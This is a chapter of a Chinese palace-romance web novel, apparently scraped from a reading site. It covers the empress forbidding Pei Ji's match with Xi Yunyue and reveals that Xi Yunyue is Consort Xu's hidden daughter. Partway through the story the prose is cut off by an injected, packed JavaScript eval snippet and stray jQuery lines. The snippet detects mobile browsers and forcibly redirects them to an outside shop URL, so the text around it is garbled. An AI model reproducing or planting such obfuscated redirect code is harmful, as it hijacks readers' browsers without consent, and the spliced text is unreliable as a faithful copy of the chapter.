45. 第 45 章

作品:《被纨绔国舅碰瓷后

    裴忌赶紧撤步,却已经来不及了,奚云月鼻尖一撞,正好碰到他的下巴,那绵软的触觉,登时让他的心头发烫。


    他让她稍等,自己去见皇后,迫不及待地问,“如何?”


    皇后低头用茶盖刮碗,声音沉稳,“阿忌,换个人吧,她不成。”


    他迟疑地驻步,看向自己一向感情深厚的亲姐姐。


    喉间登时艰涩,“为何……”


    “别问了。”


    她比任何人都要了解他,也不愿伤他的心。


    但有些事,却是一定要烂在肚子里,谁也不能提。


    暮云低垂,天色将暗,显得整个皇宫更为冷寂。


    些许宫人在走廊上打扫,置景,做些日常的琐事。


    奚云月坐了一会儿,还以为裴忌马上就会出来,但她等了又等,里面也没有动静,她无聊,隔着窗打量外面的一株老梅树。


    她很少看到那么粗壮的树干,红梅怒放,格外恣意。


    陪伴她的宫人问,“奚姑娘喜欢梅花?”


    “我只是忽然想起,老家也有这么一株梅树。”


    “奚姑娘的老家在哪?”


    “毗州县,一个很小的县城,但我总觉得那里是最好的。”


    “那定是因为奚姑娘自小生长在那里,对那里生出了感情,这才念念不忘,听闻毗州县盛产油酥果子,好吃得紧,娘娘也很喜欢吃,说起来都馋得不行。”


    奚云月答,“这油酥果子看起来简单,想要地道却很难,若是娘娘喜欢,下次我做些带来。”


    宫人笑着回应,“那就麻烦奚姑娘了。”


    两人说着,这时一个小蹴鞠从远处滚来,撞到她的脚边。


    她转头,雪团样的人儿迈着小短腿从远处靠近,毛茸茸的衣裳将小姑娘裹成了个雪团般,粉雕玉琢,说不出的灵动可爱。


    她低头将小蹴鞠捡起,雪转走到她跟前,眼睛睁得大大的,“你是谁?”


    那皮革缝制的球已经玩得有些磨损了,却仍然结实,在她手心里弹跳了几下,显出不服输的倔强。


    “以前怎么没见过你,你是新来的宫女吗?把我的球还给我。”


    她顿了下,认真解释,“民女姓奚,不是宫女。”


    她身后的丽人柔婉啼声,“嘉敏,不可无礼。”


    嘉敏公主抿了抿唇,伸出手,向她讨要小蹴鞠。


    奚云月在愣神过后,赶紧将球还给她,但不知是嘉敏手小,还是她故意,那球在她手心滑落出去,又落到地上。


    她捡起后,这次是徐美人来接了。


    徐美人与她面对面,原本淡然地神情霎时恍惚,她回过神来,“你是哪家的闺秀,以前没有见过你。”


    这时宫人在旁边指点,“这位是徐美人和嘉敏公主。”


    “见过徐娘娘。”奚云月退开,“不是哪家府上的,民女是个砚师。”


    砚师……


    徐美人的视线落到她的脸上,瞧了又瞧,这时裴忌终于出来,奚云月很快将注意力挪开。


    朝着他过去。


    娘娘与娘只差一个字,徐美人心脏抽动着,视线几乎粘在了她脸上,她看得太久,嘉敏都有些不乐意了。


    小女孩儿天真地唤,“母妃,你怎地一直看着她。”


    徐美人笑得勉强,“这位姑娘好看,母妃这才一直看的。”


    徐美人天性忧愁,虽是一张美人面,却甚少露出笑容,生性淡薄,在妃嫔之中也很低调。


    她自己便美得不得了,竟还有让她夸赞人物。


    小小的嘉敏就有些不高兴,在她眼里,母妃自然是最美的,这个民女哪能当得母妃夸赞。


    嘉敏公主虽然是小孩,也知道争风吃醋了,“母妃才是最漂亮的。”


    她瞪了奚云月一眼,哼,不喜欢她。


    她牵着母妃的手,要赶紧离开这里,徐美人迟迟不肯,她踌躇地看向奚云月,“不知这位姑娘怎么称呼?”


    奚云月对这位徐美人也很有好感,原来宫里都是这样漂亮的美人,说话柔婉,亲切和善,并没有高高在上的语气。


    便主动答了名字。


    “奚云月。”


    徐美人在唇边反复咀嚼着她的名字,泪光闪动,像是一下子都站不稳了,“真是个好名字。”


    *


    宫里规定,在宫门下钥之前需要出宫,宫人送来袄裙,奚云月到隔室去穿衣裳,宫人想上前帮忙,她却很不习惯,推拒着,自己将衣裳穿好。


    她和裴忌一道出来,正要前往宫轿,却无意间瞥见廊下站着一位美人。


    定睛一看,却是徐美人。


    见她回望,徐美人徐徐绽笑,竟是惊心动魄的美丽,她本要走了,不知怎地又走回去。


    徐美人受宠若惊,刚要说话,奚云月问,“徐娘娘,可否还有话说?”


    “我想……”看看你的掌心,这时福嬷嬷板着脸出来,阻止了她的未竟之语,“徐美人,娘娘已经在里面等着了。”


    她像是被什么砸醒,迟钝的理智倏地回归脑内,整个人闷闷地,机械着露出得体的笑意,“是,多谢福嬷嬷提醒,我方才是想说,想让你帮我捡下球。”


    原来不知何时,那皮革的蹴鞠球滚到宫道上,孤零零的,像是被抛弃了。


    奚云月看到她木然地拖着裙裾随着福嬷嬷进去的时候,心里也空了下,有些寂静的空白。


    那球没人捡了,宫人正想收起来,裴忌却忽然道:“给我吧。”


    宫人笑着,“方才嘉敏公主不知为何发了脾气。”


    皇上身体不好,这几年也只有嘉敏出生,这宫里鲜活的小孩子太少,大家便都娇纵着她。


    虽是一个美人的孩子,却也被养成了骄慢的性子。


    裴忌接过球,“她是小孩子脾气,过会儿就好了。”


    *


    坤宁宫内,温暖如春,嘉敏被早早牵到一旁,只留下皇后与徐美人,坐在上方的皇后怜悯地看着匍匐在地的美人,恍惚想起她们初进宫的时候。


    徐美人比她小十多岁,却是她不折不扣的手帕交。


    想当年她入主坤宁宫,听闻了她与未婚夫婿的喜事,特地邀她前来相聚,谁料徐美人的美貌却惹来了皇上的垂涎,皇上不知她早已经配人,当夜将她留宿宫中,次日便封了美人。


    待她得知时,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006723|193024||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经晚了。


    生米煮成熟饭,已被幸过的女子,是无论如何也不得出宫,即便她是皇后也无能为力。


    谁能想到,那一夜后,徐美人却忽然有孕。


    ……


    皇后慈眉善目,瞧着端庄贤良,可骨子里还是以夫为天,以臣自居,自从知道徐美人肚子里怀的孩子不是皇上的骨血后,她便没有一日不忧心。


    她既怕外来的骨脉混淆了天家血脉,更对徐美人怀有愧疚,若不是她心血来潮招她前来,便不会有当日的祸事。皇上美人众多,没多久就将徐美人抛之脑后,幸好,她生下了一个女儿。


    那夜风雨交加,电闪雷鸣。


    她抱着初生的女娃在垂纱飘荡的宫里,当即做了决断,借由孩子夭折之名,将奚云月送出宫外,交到了她的生父手里,同时与奚父约法三章,让他隐姓埋名。


    “还记不记得你答应了我什么,只要我将你的孩子送到他身边,你从此安心呆在宫里,好好侍奉皇上。”


    徐美人纤细的腰肢伏塌在地上,“未曾一日忘过。”


    “她与你的缘份,早在当日便尽了。”


    徐美人哽咽,“臣妾也从未妄想过再有一日能见着她。”


    但既见了,又岂能视而不见。


    那可是她怀胎十月,生下的第一个孩子。


    这世间的娘,哪有一个会不疼爱自己的孩子呢。


    “既然答应了,就什么都不要想,她和阿忌的事我也不会答应,好好记着自己的身份,不要忘了,你还有一个女儿。”


    徐美人仰起脸,泪落两行,“皇后,她什么都不知道,我也没有告诉她,若是她真心喜欢阿忌……”


    她冷酷地打断,“不行。”


    且不说奚云月身份特殊,就冲着她见不得光的身份,皇后也不会允许阿忌娶这样一个女子。


    若是有一朝她身份败露,迁连的是整个国公府,还有她当年的欺君之罪,她已经为当初的事赎罪了,如今之计,最好的便是两不相见。


    谁也不提。


    “只要你能守住那张嘴,她便一世无忧,否则,你害的只会是她,想想嘉敏吧,她又何其无辜。”


    徐美人哽咽难言,久久伏在地上,抽泣水止。


    皇后到底看不过眼,过来将她扶起,往她手心里塞了一个东西,略为硬实的玉质被她包裹在掌心里,是她最后的怜悯了,“拿好这个,这是我最后能为你做的了,不要再妄想了。”


    妄想更多,便是罪孽更多。


    害的只会是别人。


    她恍恍惚惚地低头,看向手里的东西,小小的印章在掌心里玲珑可靠,她看向印章上的字,是云月两字,云月伴生,本是圆满之美。


    可因为她这个娘,奚云月这辈子也不会有这一天了。


    她艰难地,“臣妾还想问最后一事。”


    皇后撩起眼皮,“你问吧。”


    徐美人颤颤巍巍的眼泪掉下来,正好落到腮处,美极,也痴极,“当初他答应将孩子带出京抚育,活着一日便不能回来。”


    沉闷的犹豫过后,“是,他活着的时候做到了,他,已经在两年前意外亡故了。”